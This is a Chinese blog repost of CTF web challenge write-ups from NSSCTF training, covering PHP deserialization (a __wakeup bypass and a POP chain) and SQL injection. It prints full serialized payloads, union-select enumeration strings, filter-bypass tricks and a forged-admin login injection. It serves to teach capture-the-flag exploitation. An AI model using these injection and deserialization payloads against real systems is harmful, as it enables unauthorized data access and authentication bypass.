NSSCTF中24网安培训day2中web题目

news2024/9/20 15:04:19

[SWPUCTF 2021 新生赛]ez_unserialize

这道题目考察php反序列化的知识点

打开题目,发现没有提示,我们试着用御剑扫描目录文件,发现存在robots.txt的文件

接着访问这个文件,发现是一段php反序列化代码,我们需要进行序列化的转换

简单的构造exp代码如下,在末尾那里


<?php
  error_reporting(0);
show_source("cl45s.php");

class wllm{

  public $admin;
  public $passwd;

  public function __construct(){
    $this->admin ="user";
    $this->passwd = "123456";
  }

  public function __destruct(){
    if($this->admin === "admin" && $this->passwd === "ctf"){
      include("flag.php");
      echo $flag;
    }else{
      echo $this->admin;
      echo $this->passwd;
      echo "Just a bit more!";
    }
  }
}
$a=new wllm();
$a->admin = "admin";
$a->passwd = "ctf";
$s=serialize($a);
echo $s;
?>

运行即可得到

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

我们再进行paylaod,即可得到flag

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 

[SWPUCTF 2021 新生赛]no_wakeup

这道题目考察php反序列化的知识点以及__wakeup函数的绕过

按照提示点击即可获得下面php代码,同样也是要将代码进行序列化转换,但是这道题目出现了__wakeup函数,我们需要进行绕过

我们只需要像上面题目构造exp即可,在末尾那里

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

// $Letmeseesee = $_GET['p'];
// unserialize($Letmeseesee);
$a = new HaHaHa();
$a->admin = admin;
$a->passwd = wllm;
echo serialize($a)

?>

构造完运行可以得到如下

O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";} 

但是呢,我们如果直接对此进行payload是不可以的,因为还存在着wakeup函数,绕过它非常简单,我们只需要将属性的个数值修改即可,2--->>>3/4/5等等

构造payload如下

?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

[SWPUCTF 2021 新生赛]pop 

这道题目依旧考察php反序列化的知识点,但这道题目中出现了toString的魔术引号,我们需要知道它的用法

也就是说我们要了解清楚代码的运行顺序 ,创建输出对象后就会自动调用toString方法

首先观察一下整段代码,再结合上面总结的魔术方法分析一下,w44m类里面的Getflag函数可以用来读取flag,因此就将它作为这条链子的尾部。

再想一下如何去调用这个函数,看下面这段代码。这段代码中,$this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。 

再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,于是我们就能看到下面w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。

到了这里,析构函数__destruct,会在对象被销毁时调用,所以我们已经摸到这条链子的头了,捋一下这条链子。 

 w22m::__destruct()->w33m::__toString()->w44m::Getflag()

然后我们构造一下exp代码
这里注意,因为admin和passwd是私有类和被保护的类,所以没办法在该类的外部赋值或引用,所以要在类中提前赋值 

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
   
}

class w33m{
    public $w00m;
    public $w22m;
   
}

// $w00m = $_GET['w00m'];
// unserialize($w00m);
$a=new w22m;
$a->w00m=new w33m;
$a->w00m->w00m=new w44m;
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));

?>

运行成功之后可以得到exp

O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D 

接着构造payload如下:

?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D 

[SWPUCTF 2021 新生赛]easy_sql 

这道题目考察sql注入中的联合注入

首先题目地址给出提示参数是wllm,尝试用数字型注入,发现没有正常回显,用单引号注入提示报错语句,从这里可以得知这道题目是字符型的单引号注入,接着用order by判断字段数

?wllm=1' order by 3--+      //当数字为4时,出现报错,可以得知为3个字段数

?wllm=-1' union select 1,2,3--+   //判断回显点,题目出现2和3的提示,说明从2和3中出现回显点

?wllm=-1' union select 1,2,database()--+       //爆出数据库为test_db

?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+           //爆出表名test_tb和users

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'--+      //从users表中爆出字段名id,username,password,没有获得我们想要的flag,换张表试试

?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'--+    //从test_tb表中获取到flag字段

?wllm=-1' union select 1,2,group_concat(flag) from test_tb--+    //获取flag字段内容

[SWPUCTF 2021 新生赛]sql 

这道题目考察的知识点是sql注入的绕过,空格绕过/**/,注释符绕过%23,等于号=的绕过like,and的绕过,截取函数substr的绕过mid

首先尝试数字型注入,发现没有出现报错界面,试试字符单引号型,发现出现报错语句,此时我们的注释符要替换成url编码形式绕过,以及空格的绕过

?wllm=1'/**/order/**/by/**/3%23               //当数字出现4时报错,说明字段数为3

?wllm=-1'union/**/select/**/1,2,3%23      //题目出现2和3的提示,说明在2和3中出现回显点

?wllm=-1'union/**/select/**/1,2,group_concat(database())%23     //爆出库名test_db

?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like("test_db")%23     //出现表名LTLT_flag和users,猜测flag在LTLT_flag表中

?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like("LTLT_flag")%23

//爆出字段名id和flag,这里绕过了and,因此只从表中获取到字段名

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag%23   //这里只能获取到flag的一部分NSSCTF{6bef6596-477a,此时需要用到截取函数截取后面的部分

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/LTLT_flag%23

//可以得到NSSCTF{6bef6596-477a

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/LTLT_flag%23

//可以得到-4360-a43c-252e2f15c

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/LTLT_flag%23

//可以得到70e}

拼接起来可以得到flagNSSCTF{6bef6596-477a-4360-a43c-252e2f15c70e}

[GXYCTF 2019]BabySqli 

这道题目考察POST方式的注入,并且带有过滤,我们同样需要进行绕过

先随便输入用户名和密码,配合Burpsuite抓包可以得到如下:得知为POST注入

1.判断注入点:在name上假设为注入点,尝试用数字型,没有显示报错语句,再试试字符单引号型出现报错语句,得知为字符型单引号的注入

 2.判断注入点:我们通过抓包可以得到

容易得知上面字符为base32加密,我们先进行解密,再得到base64加密字符,再用base64解密可以得到

select * from user where username = '$name' 

可以得知注入点为name,并且为单引号型注入 

POST型注入内容:

name=1' group by 3--+&pw=1            //这里可以得到数字4出现报错,得知有3个字段,并且在这里需要绕过order,用group即可绕过

这里用到弱口令猜测的方法 :猜测username为admin,而密码未知,在表中正常存在id,username,passwd这三个字段,但是我们不知道它们正确的顺序,并且passwd是经过md5加密的

接着我们判断admin在表中的哪个位置

name=-1' union select 'admin',2,3--+&pw=1      //假设在第一个字段,出现wrong user!

name=-1' union select 1,'admin',3--+&pw=1      //假设在第二个字段,出现wrong pass!

name=-1' union select 1,2,'admin'--+&pw=1      //假设在第三个字段,出现wrong user!

可以得知admin在第二个字段,第三个字段就为password

接着我们假设password为123,我们需要让123经过md5加密,再进行注入,如下

name=-1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

这里我们注入完成之后,数据库如下 

 

这道题目需要了解数据库的字段格式,相对于我来说,这道题目也是新的解题方式

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1928076.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Windows] 油.管视频下载神器 Gihosoft TubeGet Pro v9.3.88

描述 对于经常在互联网上进行操作的学生&#xff0c;白领等&#xff01; 一款好用的软件总是能得心应手&#xff0c;事半功倍。 今天给大家带了一款高科技软件 管视频下载神器 无需额外付费&#xff0c;永久免费&#xff01; 亲测可运行&#xff01;&#xff01; 内容 目前主…

【B树、B-树、B+树】

目录 一、B-树&#xff08;即B树&#xff09;的定义及操作1.1、定义1.2、操作1.2.1、查找1.2.2、插入1.2.3、删除 二、B树的定义及操作2.1、定义2.2、操作2.2.1、查找2.2.2、插入2.2.3、删除 一、B-树&#xff08;即B树&#xff09;的定义及操作 1.1、定义 B-tree即B树&#…

jmeter-beanshell学习10-字符串补齐位数

每天都遇到新问题&#xff0c;今天又一个场景&#xff0c;一个字符串&#xff0c;如果不足11位&#xff0c;则左边补0&#xff0c;补够11位。 先要获取字符串长度&#xff0c;然后计算差多少位&#xff0c;补齐。今天又发现一个Object类型&#xff0c;这个类型有点厉害&#x…

uniapp启动图延时效果,启动图的配置

今天阐述uniapp开发中给启动图做延迟效果&#xff0c;不然启动图太快了&#xff0c;一闪就过去了&#xff1b; 一&#xff1a;修改配置文件&#xff1a;manifest.json "app-plus" : {"splashscreen" : {"alwaysShowBeforeRender" : false,"…

dhtmlx-gantt甘特图数据展示

官网文档&#xff1a;甘特图文档 实现效果&#xff1a; 首先需要下载 dhtmlx-gantt组件 npm i dhtmlx-gantt //我项目中使用的是"dhtmlx-gantt": "^8.0.6" 这个版本&#xff0c;不同的版本api或是文档中存在的方法稍有差异 界面引用 <template>&l…

二叉搜索树的实现[C++]

文章目录 搜索二叉树概念二叉搜索树的功能查找 实现搜索二叉树节点的定义建立搜索二叉树接口插入搜索打印删除 总结 今天本堂主来一起讨论下什么是搜索二叉树&#xff0c;和如何实现二叉搜索树 搜索二叉树 那么二叉搜索树似乎如何实现搜索呢&#xff1f;二叉搜索树和普通二叉…

PNPM 高效入门:安装配置一本通

PNPM高效入门&#xff1a;安装配置一本通 引言Pnpm 简介安装 PNPM全局安装&#xff08;推荐&#xff09;使用 nvm&#xff08;Node Version Manager&#xff09; 配置PNPM使用PNPM管理项目初始化项目 添加依赖快速安装所有依赖查看安装的包 优化与故障排除PNPM与持续集成/持续部…

nacos 适配瀚高数据库、ARM 架构

下载nacos源码: https://github.com/alibaba/nacos/tree/2.3.1 瀚高技术文档 1、修改pom.xml 根目录nacos-all => pom.xml<dependencyManagement><dependency><groupId>com.highgo</groupId><artifactId>HgdbJdbc</artifactId><…

安全防御:防火墙基本模块

目录 一、接口 1.1 物理接口 1.2 虚拟接口 二、区域 三、模式 3.1 路由模式 3.2 透明模式 3.3 旁路检测模式 3.4 混合模式 四、安全策略 五、防火墙的状态检测和会话表技术 一、接口 1.1 物理接口 三层口 --- 可以配置IP地址的接口 二层口&#xff1a; 普通二层…

linux的学习(四):磁盘,进程,定时,软件包的相关命令

简介 关于磁盘管理&#xff0c;进程管理&#xff0c;定时任务&#xff0c;软件包管理的命令的使用 磁盘管理类命令 du du 目录名&#xff1a; 查看文件和目录占用的磁盘空间 参数&#xff1a; -h&#xff1a;可以看到大小的单位&#xff0c;g,mb-a&#xff1a;还可以看到文…

Mapboxgl 生成飞行动画GIF

更多精彩内容尽在数字孪生平台&#xff0c;关注公众号【sky的数孪技术】&#xff0c;技术交流、源码下载请添加VX&#xff1a;digital_twin123 根据两点生成动画的工具。 首先&#xff0c;找到你想要开始的视图&#xff0c;点击“设置起点视图”&#xff0c;然后调整到目的视图…

Android中RecyclerView使用详解(一)

目录 概述优点列表布局RecyclerView一、创建RecyclerView并且在布局中绑定二、实现RecyclerView单个item的布局三、给RecyclerView写一个对应的适配器Adapter1.创建自定义的ViewHolder2.继承Adapter&#xff0c;泛型使用我们自定义的ViewHolder3.重写Adapter的三个方法onCreate…

如何提取视频中的音频?提取音频的几种方法

如何提取视频中的音频&#xff1f;提取视频中的音频&#xff0c;是许多人在处理多媒体内容时常遇到的需求。这一过程不仅仅是简单地从视听媒体中抽离音频部分&#xff0c;它背后蕴含着许多技术上的挑战和创意上的可能性。通过提取音频&#xff0c;你可以更方便地利用视频中的声…

网络安全——防御(防火墙)带宽以及双机热备实验

12&#xff0c;对现有网络进行改造升级&#xff0c;将当个防火墙组网改成双机热备的组网形式&#xff0c;做负载分担模式&#xff0c;游客区和DMZ区走FW3&#xff0c;生产区和办公区的流量走FW1 13&#xff0c;办公区上网用户限制流量不超过100M&#xff0c;其中销售部人员在其…

docker镜像导出与导入

布置程序出问题了&#xff0c;拉不下来镜像 程序的配置文件里面有镜像的名字 docker pull ubuntu/squid:latest 我是本地下载了镜像&#xff0c;使用本地的镜像导出 导出镜像使用 docker 导出导入镜像 要在Docker中导出和导入镜像&#xff0c;您可以使用docker save命令来导…

《昇思25天学习打卡营第5天|10使用静态图加速》

写在前面 跳过了模型训练和保存两节&#xff0c;模型训练的例子已经学习过&#xff0c;都是重复的内容&#xff0c;不进行详细的学习了&#xff0c;除非要使用类似的函数。 因此接下来开始学习初学教程的最后一节&#xff1a;使用静态图加速&#xff0c;希望能学习到一些内容。…

【分布式系统】CephFS文件系统之MDS接口详解

目录 一.服务端操作 1.在管理节点创建 mds 服务 2.查看各个节点的 mds 服务&#xff08;可选&#xff09; 3.创建存储池&#xff0c;启用 ceph 文件系统 4.查看mds状态&#xff0c;一个up&#xff0c;其余两个待命&#xff0c;目前的工作的是node01上的mds服务 5.创建用户…

从零开始搭建vue框架

流程图 开始 | |-- 2013 年底&#xff0c;尤雨溪开始开发 Vue 框架&#xff0c;最初命名为 Seed&#xff0c;后更名为 Vue | |-- 2013 年 12 月&#xff0c;Vue 0.6.0 版本 | |-- 2014 年 1 月 24 日&#xff0c;Vue 0.8.0 版本发布 | |-- 2014 年 2 月 25 日&#xff0c;…

数据中心内存RAS技术发展背景

随着数据量的爆炸性增长和云计算的普及&#xff0c;数据中心内存的多比特错误及由无法纠正错误(UE)导致的停机问题日益凸显&#xff0c;这些故障不仅影响服务质量&#xff0c;还会带来高昂的修复或更换成本。随着工作负载、硬件密度以及对高性能要求的增加&#xff0c;数据中心…

408数据结构-图的应用3-有向无环图、拓扑排序 自学知识点整理

前置知识&#xff1a;表达式&#xff0c;图的遍历 有向无环图描述表达式 有向无环图&#xff1a;若一个有向图中不存在环&#xff0c;则称为有向无环图&#xff0c;简称 D A G DAG DAG图 。 &#xff08;图片来自王道考研408数据结构2025&#xff09; 由王道考研-咸鱼学长的讲…